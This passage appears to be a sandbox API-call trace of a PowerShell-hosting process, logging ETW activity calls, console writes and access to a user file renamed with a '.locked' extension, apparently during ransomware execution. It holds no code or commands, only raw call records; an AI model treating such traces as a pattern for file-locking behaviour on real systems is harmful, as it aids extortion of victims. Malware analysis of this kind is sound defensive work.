[3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.949] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.953] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.954] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.954] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.954] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.954] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.956] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.957] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.957] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.957] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.957] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.962] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.963] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.964] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.964] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.964] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.966] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.967] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.967] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.967] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.967] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.970] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x30, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.973] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99adc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0130.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb8) returned 1 [0130.974] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\oucsqye.xls.locked"), fInfoLevelId=0x0, lpFileInformation=0x694cd0c | out: lpFileInformation=0x694cd0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x113978e9, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x113978e9, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x1145643e, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xbe54)) returned 1 [0130.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb4) returned 1 [0130.974] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls.locked", nBufferLength=0x105, lpBuffer=0x99ad894, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls.locked", lpFilePart=0x0) returned 0x4b [0130.975] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\oucsqye.xls.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0130.975] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99ade00 | out: lpFileInformation=0x99ade00) returned 1 [0130.975] CloseHandle (hObject=0x874) returned 1 [0130.977] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae470 | out: lpConsoleScreenBufferInfo=0x99ae470) returned 1 [0131.068] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae478 | out: lpMode=0x99ae478) returned 1 [0131.170] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae470, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae470*=0x2) returned 1 [0131.258] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae414 | out: lpConsoleScreenBufferInfo=0x99ae414) returned 1 [0131.340] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae468 | out: lpConsoleScreenBufferInfo=0x99ae468) returned 1 [0131.381] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae470 | out: lpMode=0x99ae470) returned 1 [0131.428] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae468, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae468*=0x2) returned 1 [0131.475] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae478 | out: lpConsoleScreenBufferInfo=0x99ae478) returned 1 [0131.521] GetConsoleOutputCP () returned 0x1b5 [0131.563] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae1fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae1fc) returned 0 [0131.563] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae2c8 | out: lpConsoleScreenBufferInfo=0x99ae2c8) returned 1 [0131.564] GetConsoleOutputCP () returned 0x1b5 [0131.564] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae264, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae264) returned 0 [0131.564] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae2d0 | out: lpMode=0x99ae2d0) returned 1 [0131.565] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a97ebc*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x99ae2c8, lpReserved=0x0 | out: lpBuffer=0x6a97ebc*, lpNumberOfCharsWritten=0x99ae2c8*=0x47) returned 1 [0131.565] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae2d0 | out: lpMode=0x99ae2d0) returned 1 [0131.566] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae2c8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae2c8*=0x2) returned 1 [0131.571] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3d0 | out: lpConsoleScreenBufferInfo=0x99ae3d0) returned 1 [0131.572] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3d8 | out: lpMode=0x99ae3d8) returned 1 [0131.572] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3d0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3d0*=0x2) returned 1 [0131.576] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae468 | out: lpConsoleScreenBufferInfo=0x99ae468) returned 1 [0131.577] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae470 | out: lpMode=0x99ae470) returned 1 [0131.577] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae468, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae468*=0x2) returned 1 [0131.582] GetConsoleOutputCP () returned 0x1b5 [0131.582] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae288, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae288) returned 0 [0131.582] GetConsoleOutputCP () returned 0x1b5 [0131.583] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae320, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae320) returned 0 [0131.583] GetConsoleOutputCP () returned 0x1b5 [0131.584] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0131.584] GetConsoleOutputCP () returned 0x1b5 [0131.585] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0131.585] GetConsoleOutputCP () returned 0x1b5 [0131.585] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae288, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae288) returned 0 [0131.585] GetConsoleOutputCP () returned 0x1b5 [0131.586] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae320, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae320) returned 0 [0131.586] GetConsoleOutputCP () returned 0x1b5 [0131.586] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0131.586] GetConsoleOutputCP () returned 0x1b5 [0131.587] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0131.587] GetConsoleOutputCP () returned 0x1b5 [0131.587] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae288, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae288) returned 0 [0131.587] GetConsoleOutputCP () returned 0x1b5 [0131.588] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae320, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae320) returned 0 [0131.588] GetConsoleOutputCP () returned 0x1b5 [0131.588] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0131.588] GetConsoleOutputCP () returned 0x1b5 [0131.589] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0131.589] GetConsoleOutputCP () returned 0x1b5 [0131.589] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae288, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae288) returned 0 [0131.590] GetConsoleOutputCP () returned 0x1b5 [0131.590] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae320, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae320) returned 0 [0131.590] GetConsoleOutputCP () returned 0x1b5 [0131.591] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0131.591] GetConsoleOutputCP () returned 0x1b5 [0131.591] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0131.591] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3c4 | out: lpConsoleScreenBufferInfo=0x99ae3c4) returned 1 [0131.592] GetConsoleOutputCP () returned 0x1b5 [0131.592] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae360) returned 0 [0131.592] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3cc | out: lpMode=0x99ae3cc) returned 1 [0131.593] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a98d80*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3c4, lpReserved=0x0 | out: lpBuffer=0x6a98d80*, lpNumberOfCharsWritten=0x99ae3c4*=0x77) returned 1 [0131.593] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3cc | out: lpMode=0x99ae3cc) returned 1 [0131.594] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3c4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3c4*=0x2) returned 1 [0131.598] GetConsoleOutputCP () returned 0x1b5 [0131.599] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3c0) returned 0 [0131.599] GetConsoleOutputCP () returned 0x1b5 [0131.600] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3c0) returned 0 [0131.600] GetConsoleOutputCP () returned 0x1b5 [0131.600] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3c0) returned 0 [0131.600] GetConsoleOutputCP () returned 0x1b5 [0131.601] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3c0) returned 0 [0131.601] GetConsoleOutputCP () returned 0x1b5 [0131.601] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0131.601] GetConsoleOutputCP () returned 0x1b5 [0131.602] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0131.602] GetConsoleOutputCP () returned 0x1b5 [0131.602] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0131.602] GetConsoleOutputCP () returned 0x1b5 [0131.603] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0131.603] GetConsoleOutputCP () returned 0x1b5 [0131.603] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0131.603] GetConsoleOutputCP () returned 0x1b5 [0131.604] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0131.604] GetConsoleOutputCP () returned 0x1b5 [0131.604] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0131.604] GetConsoleOutputCP () returned 0x1b5 [0131.605] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0131.605] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3c4 | out: lpConsoleScreenBufferInfo=0x99ae3c4) returned 1 [0131.605] GetConsoleOutputCP () returned 0x1b5 [0131.606] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae360) returned 0 [0131.606] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3cc | out: lpMode=0x99ae3cc) returned 1 [0131.607] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a997d8*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3c4, lpReserved=0x0 | out: lpBuffer=0x6a997d8*, lpNumberOfCharsWritten=0x99ae3c4*=0x77) returned 1 [0131.607] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3cc | out: lpMode=0x99ae3cc) returned 1 [0131.608] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3c4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3c4*=0x2) returned 1 [0131.614] GetConsoleOutputCP () returned 0x1b5 [0131.614] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0131.614] GetConsoleOutputCP () returned 0x1b5 [0131.614] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0131.615] GetConsoleOutputCP () returned 0x1b5 [0131.616] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0131.616] GetConsoleOutputCP () returned 0x1b5 [0131.616] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0131.616] GetConsoleOutputCP () returned 0x1b5 [0131.617] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0131.617] GetConsoleOutputCP () returned 0x1b5 [0131.617] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0131.617] GetConsoleOutputCP () returned 0x1b5 [0131.618] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0131.618] GetConsoleOutputCP () returned 0x1b5 [0131.618] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0131.618] GetConsoleOutputCP () returned 0x1b5 [0131.618] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0131.618] GetConsoleOutputCP () returned 0x1b5 [0131.619] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0131.619] GetConsoleOutputCP () returned 0x1b5 [0131.619] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0131.619] GetConsoleOutputCP () returned 0x1b5 [0131.620] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0131.620] GetConsoleOutputCP () returned 0x1b5 [0131.620] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0131.620] GetConsoleOutputCP () returned 0x1b5 [0131.621] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0131.621] GetConsoleOutputCP () returned 0x1b5 [0131.621] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0131.621] GetConsoleOutputCP () returned 0x1b5 [0131.621] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0131.621] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3fc | out: 